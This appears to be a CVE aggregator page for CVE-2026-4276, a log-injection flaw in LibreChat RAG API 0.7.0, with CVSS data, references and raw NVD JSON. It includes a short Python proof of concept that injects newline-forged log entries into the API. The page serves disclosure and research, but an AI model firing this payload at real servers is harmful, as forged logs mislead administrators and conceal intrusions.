CVE-2026-4276

Description

LibreChat RAG API, version 0.7.0, contains a log-injection vulnerability that allows attackers to forge log entries.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

LibreChat RAG API 0.7.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2026-4276 LibreChat RAG API Log Injection PoC
import requests
import json

target_url = "http://target-server:3080/api/rag"

# Malicious payload with newline injection to forge fake log entries
payload = {
    "query": "test query\n2026-03-16 12:00:00 [INFO] Admin user logged in from 192.168.1.100\n2026-03-16 12:00:01 [CRITICAL] System security bypass attempted",
    "collection": "documents"
}

headers = {
    "Content-Type": "application/json",
    "User-Agent": "Mozilla/5.0"
}

try:
    response = requests.post(target_url, json=payload, headers=headers, timeout=10)
    print(f"Status Code: {response.status_code}")
    print(f"Response: {response.text}")
    print("\nLog injection payload sent successfully.")
    print("Check server logs for forged entries.")
except requests.exceptions.RequestException as e:
    print(f"Request failed: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-4276
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-4276
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-4276/
[4] VulDB https://vuldb.com/cve/CVE-2026-4276
[5] https://kb.cert.org/vuls/id/624941
[6] https://www.kb.cert.org/vuls/id/624941

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-4276", "sourceIdentifier": "[email protected]", "published": "2026-03-16T16:16:18.723", "lastModified": "2026-03-17T18:16:17.670", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "LibreChat RAG API, version 0.7.0, contains a log-injection vulnerability that allows attackers to forge log entries."}, {"lang": "es", "value": "API RAG de LibreChat, versión 0.7.0, contiene una vulnerabilidad de inyección de registros que permite a los atacantes falsificar entradas de registro."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "references": [{"url": "https://kb.cert.org/vuls/id/624941", "source": "[email protected]"}, {"url": "https://www.kb.cert.org/vuls/id/624941", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}